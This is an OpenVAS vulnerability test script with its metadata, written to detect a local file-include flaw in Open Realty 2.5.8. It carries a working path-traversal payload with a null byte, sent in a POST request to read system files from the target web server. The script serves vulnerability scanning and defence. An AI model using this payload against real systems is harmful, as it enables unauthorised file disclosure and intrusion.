Open Realty 'select_users_template' Parameter Local File Include Vulnerability

2012-03-06T00:00:00
ID OPENVAS:1361412562310103443
Type openvas
Reporter Copyright (C) 2012 Greenbone Networks GmbH
Modified 2020-05-06T00:00:00

Description

Open Realty is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
#
# Open Realty 'select_users_template' Parameter Local File Include Vulnerability
#
# Authors:
# Michael Meyer <michael.meyer@greenbone.net>
#
# Copyright:
# Copyright (C) 2012 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103443");
  script_bugtraq_id(52296);
  script_version("2020-05-06T06:57:16+0000");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Open Realty 'select_users_template' Parameter Local File Include Vulnerability");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/52296");
  script_xref(name:"URL", value:"http://www.open-realty.org/");
  script_xref(name:"URL", value:"http://yehg.net/lab/pr0js/advisories/%5Bopen-realty_2.5.8_2.x%5D_lfi");
  script_tag(name:"last_modification", value:"2020-05-06 06:57:16 +0000 (Wed, 06 May 2020)");
  script_tag(name:"creation_date", value:"2012-03-06 11:55:55 +0100 (Tue, 06 Mar 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");

  script_tag(name:"solution_type", value:"VendorFix");
  script_copyright("Copyright (C) 2012 Greenbone Networks GmbH");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Open Realty is prone to a local file-include vulnerability because it
  fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
  sensitive information or to execute arbitrary local scripts in the
  context of the webserver process. This may allow the attacker to
  compromise the application and the computer - other attacks are
  also possible.");

  script_tag(name:"affected", value:"Open Realty version 2.5.8 is vulnerable - other versions may also
  be affected.");

  script_tag(name:"solution", value:"The version 2.5.x version family is no longer maintained by the vendor.
  The version 3.x.x is not found to be vulnerable to this issue. Upgrade to the latest 3.x.x version.");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("misc_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

foreach dir( make_list_unique( "/open-realty", "/openrealty", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + "/index.php";
  buf = http_get_cache( item:url, port:port );

  if( 'meta name="Generator" content="Open-Realty"' >< buf || buf =~ "Powered by.*Open-Realty" ) {

    host = http_host_name( port:port );

    files = traversal_files();

    foreach pattern( keys( files ) ) {

      file = files[pattern];

      req = string("POST ",url," HTTP/1.1\r\n",
                   "Host: ",host,"\r\n",
                   "Content-Type: application/x-www-form-urlencoded\r\n",
                   "Content-Length: 84\r\n",
                   "\r\n",
                   "select_users_template=../../../../../../../../../../../../../../../" + file + "%00\r\n\r\n");
      res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
      if( egrep( string:res, pattern:pattern, icase:TRUE ) ) {
        report = http_report_vuln_url( port:port, url:url );
        security_message( port:port, data:report );
        exit( 0 );
      }
    }
  }
}

exit( 99 );